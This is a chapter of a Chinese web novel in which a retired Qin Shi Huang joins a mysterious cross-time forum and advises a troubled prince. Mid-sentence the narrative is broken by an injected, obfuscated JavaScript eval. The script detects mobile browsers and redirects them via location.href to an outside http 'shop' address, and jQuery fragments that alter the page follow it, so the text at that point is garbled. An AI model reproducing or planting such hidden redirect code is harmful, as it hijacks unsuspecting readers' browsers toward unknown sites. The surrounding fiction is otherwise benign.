寅时三刻，天还未亮透。
嬴政准时睁开眼。
没有侍人战战兢兢在帷帐外低声奏报“陛下，该早朝了”，也没有堆积如山的竹简在案头等待批阅。寝殿里安静得能听见窗外竹叶扫过窗棂的窸窣声。
他躺在床上，盯着头顶素青色的帐幔看了片刻。
五年了。
从那个位置退下来整整五年，身体仍像上了发条的机括，在固定的时辰苏醒，分毫不差。
起身，更衣，净面。动作熟练得不需要任何人伺候。这别业里统共不过三个老仆，一个管洒扫，一个管庖厨，还有个哑巴老叟管园圃。都是他从军中退下来的老兵，沉默本分，见他从不行大礼，只躬身唤一声“先生”。
挺好。
推开房门，初秋的晨风带着骊山特有的草木清气涌进来。庭前那株老桂开得正盛，碎金似的花铺了一地。黑猫墨玉从廊下踱步过来，尾巴高高竖起，在他脚踝处蹭了蹭。
“饿了？”嬴政弯腰揉了揉猫脑袋，“今日有新鲜的鱼。”
墨玉“喵”了一声，跟在他身后穿过回廊。
别业不大，三进的院落依山而建。书房在最深处，推窗可见层峦叠嶂。晨光正从山脊线后一点点漫上来，给黛青色的山峦镶了道金边。
案上已摆好了早膳：一碗粟米粥，两碟时蔬，一尾清蒸的鲈鱼，鱼腹最肥嫩的部分被单独剔出来，盛在小碟里，放在地上。
墨玉埋头吃起来。
嬴政在案前坐下，慢慢用着粥。目光却不由自主地落在书房东侧那面墙上。
那里立着一排特制的木架。
架上没有书简，只有一卷卷精心捆扎的……空白绢帛。
这是他退隐后给自己定下的规矩：每日辰时至巳时，照旧“批阅奏章”。只不过批阅的对象，是昨日或前日自己写下的“伪奏折”。
——譬如昨日写的是“关中今秋少雨，恐冬麦欠收，当命治粟内史预作调度”。
那么今日便要模拟治粟内史的口吻，写一份详细的应对方案：何处可调水，何处宜改种，仓廪存粮几何，可支应多久。
自己给自己出题，自己给自己答卷。
荒谬么？
或许。
但若不这么做，嬴政觉得，自己身体里那根绷了四十余年的弦，会彻底崩断。
用过早膳，墨玉跳上窗台梳理毛发。嬴政净了手，在案前坐下。
今日该批哪一卷？
他的手指拂过那些绢帛卷轴，最终停在最右侧那卷上——昨日写的是“北地郡上报，匈奴小股骑卒扰边，劫掠牛羊三十头，伤民七人”。
该模拟蒙恬的口吻回复了。
嬴政展开空白新绢，提起笔，沉吟片刻。
笔尖尚未落下，书房内光线骤然一暗。
不是云遮日。
是一种奇异的、仿佛所有光源都被瞬间吸走的暗。紧接着，东墙那排木架的正中央，凭空浮现出一片朦胧的光晕。
光晕如水波荡漾，渐渐凝聚成型。
那是一块约三尺长、两尺宽的……光幕？
通体剔透如白玉，边缘流淌着淡金色的微光。光幕中央，几行墨色字迹正缓缓浮现，字形方正，却绝非小篆，亦非六国文字，但诡异的是，嬴政一眼看去，竟能明白其意：
【欢迎接入‘明君养成论坛·匿名测试版’】
【检测到符合资质的潜在用户……精神波动匹配中……匹配成功】
【用户身份已匿名化，ID生成中……生成完毕】
【您的ID：青耕】
【请阅读并遵守《论坛使用须知》后，开启您的指导生涯】
嬴政握着笔，一动不动。
墨玉从窗台跳下，弓起背，对着光幕发出低低的“哈”气声。
时间仿佛停滞了数十息。
然后，嬴政放下了笔。
他起身，走到光幕前。动作依旧平稳，但若是熟悉他的旧臣在此，便会发现他垂在身侧的左手，手指正无意识地微微屈伸，那是他极度专注、或者说戒备时的习惯性动作。
光幕上的文字已自动翻页，展开一份长长的《论坛使用须知》。
条款很多，嬴政的目光迅速掠过：
【一、本论坛为跨时空匿名交流平台，严禁任何用户探询或泄露真实时空坐标及身份信息。】
【二、论坛主旨为‘明君养成的经验交流与指导’，请保持讨论氛围的专业与友善。】
【三、用户可通过发帖求助、回帖指导、参与辩论等方式积累‘治绩点’，治绩点可兑换……（后续功能待解锁）】
【四、严禁利用论坛信息进行恶意时空干涉、大规模历史篡改等行为，违者将被永久剥离权限。】
【五、论坛时间流速与用户原时空不完全同步，请知悉。】
……
【是否已阅读并同意以上条款？】
【是/否】
嬴政的目光落在最后那个选择上。
光影在他脸上明明灭灭。窗外，晨光已彻底铺满山峦，鸟鸣啁啾，是个再寻常不过的秋日清晨。
而书房内，一面不该存在的光幕悬浮空中，静静等待。
他忽然想起很多年前，在邯郸为质时，某个冬夜。天寒地冻，被褥单薄，饿得睡不着。他蜷在榻上，盯着漏风的窗棂外那一点惨淡的星光，心里发狠地想：若有一日，能有不一样的选择摆在我面前，我绝不犹豫。
后来，他确实再没有犹豫过。
无论是亲政、除嫪毐、逐吕不韦，还是灭六国、定天下、书同文车同轨。每一次抉择，他都走得果决而坚定。
哪怕最后决定退下来，也是深思熟虑后，干净利落地交出了所有权力。
那么现在呢？
一个莫名其妙、自称“跨时空”的论坛。
一个自动生成的ID“青耕”——《山海经》里能御瘟疫的鸟，倒是……有点意思。
嬴政伸出手。
指尖触碰光幕的瞬间，冰凉的触感传来，仿佛碰到了一块真正的玉石。
他点在【是】上。
光幕波纹荡漾，所有条款文字如潮水般褪去。取而代之的，是一个简洁的界面：最上方是“青耕”二字，旁边有个小小的鸟形纹章。下方分为几个区域：【待阅帖子】、【我的回复】、【治绩点：0】、【兑换区（未解锁）】。
而此刻【待阅帖子】一栏，正不断有新的标题浮现、滚动：
【求助！父皇暴戾，动辄廷杖大臣，我劝谏反被斥，该如何是好？（热度：17）】
【边关守将克扣军粮，层层盘剥，士兵怨声载道，我该直接上奏还是私下处理？（热度：9）】
【新人求问：如何平衡世家大族与寒门子弟的任用？（热度：23）】
……
嬴政微微眯起眼。
这些标题，这些措辞，这些似曾相识的困境。
他沉默地看着那些文字滚动，看了足足一刻钟。
然后，他伸手，点开了那个被顶在最上方、热度
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114042|195895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最高、标题旁还带了个“急”字标记的帖子：
【父皇刚猛，常斥我优柔寡断，不堪大任。我欲改变，却不知从何入手。请诸位先生指点迷津。】
发帖人ID：檐下雀。
主楼内容很简单，只寥寥数语，却透着一股压抑的迷茫和委屈。下面已有七八条回复，有鼓励的，有建议“多读史书”的，有直言“性格难改”的，也有插科打诨的。
嬴政一目十行扫过，目光重新落回主楼那“优柔寡断”四个字上。
恍惚间，仿佛看到很多年前，章台宫前，那个身着太子朝服、因为反对坑杀术士而与自己激烈争辩，最终被罚去上郡监军的青年。
扶苏。
他背在身后的左手，指节微微收紧。
光幕莹白的光映在他深邃的瞳孔里。墨玉不知何时又跳上了桌案，趴在那卷尚未动笔的“北地郡边患”绢帛旁，碧绿的猫眼一眨不眨地看着主人。
书房里只剩下山风穿过竹林的低啸。
良久。
嬴政抬起手，指尖在光幕下方空白的回复区虚点。
他打得很慢。那些陌生的、方正的、被称为“简体字”的字符，需要稍微适应。但意思，早已在他心中盘旋了千百回。
终于，一行字出现在回复框里：
【青耕】：刚极易折，柔易受欺。汝非需择其一，而需知何时为剑，何时为鞘。】
敲下最后一个字，指尖悬在【发送】上方，停顿了一息。
然后，落下。
光幕微光一闪，回复成功发送，出现在那七八条建议的最下方。ID“青耕”后面，跟着一个小小的、代表新用户的“幼苗”标志。
几乎在回复发出的瞬间，帖子下方就跳出一条新提示：
【檐下雀】已收到您的回复。
嬴政退出了这个帖子。
光幕恢复成主界面，【待阅帖子】依旧在滚动，新的求助不断涌现。窗外，日头已升得更高，桂花的香气愈发浓郁。
他转身回到案前。
墨玉“喵呜”一声，凑过来嗅了嗅他垂落的手指。
嬴政揉了揉猫脑袋，重新提起了笔。
那卷关于“北地郡边患”的绢帛依旧摊开着，空白一片。他盯着看了片刻，却忽然将绢帛卷起，放回架上。
然后，他另取了一卷新的空白绢帛，铺开。
笔尖蘸墨，落下。
开头不再是模拟任何人的口吻，而是他自己的笔迹，他自己的话：
【论坛纪事·其一】
【今日遇一子，困于‘刚柔’之辩。吾答曰：剑与鞘耳。】
【然，此语亦当自省。】
写到这里，他停笔。
目光越过窗棂，望向骊山苍茫的群峰。山岚缭绕，将远山近树都晕染得朦胧。
那个ID“檐下雀”的年轻人，会明白吗？
而他这个早已放下权柄、隐居山野的“青耕”，又真的明白了吗？
墨玉蹭了蹭他的手背。
嬴政垂眸，在绢帛上续写最后一句：
【退休之乐，或在于此——可言当年未尽之言，可思当年未竟之思。】
落款，未署名，只画了一个极简的鸟形轮廓。
像山间偶然掠过的一只飞鸟的影子。
晨光正好，满室桂香。那面悬浮的光幕静静散发着微光，与这间古朴书房奇异又和谐地共存着。
新的日子，似乎与往日没什么不同。
又似乎，已悄然不同。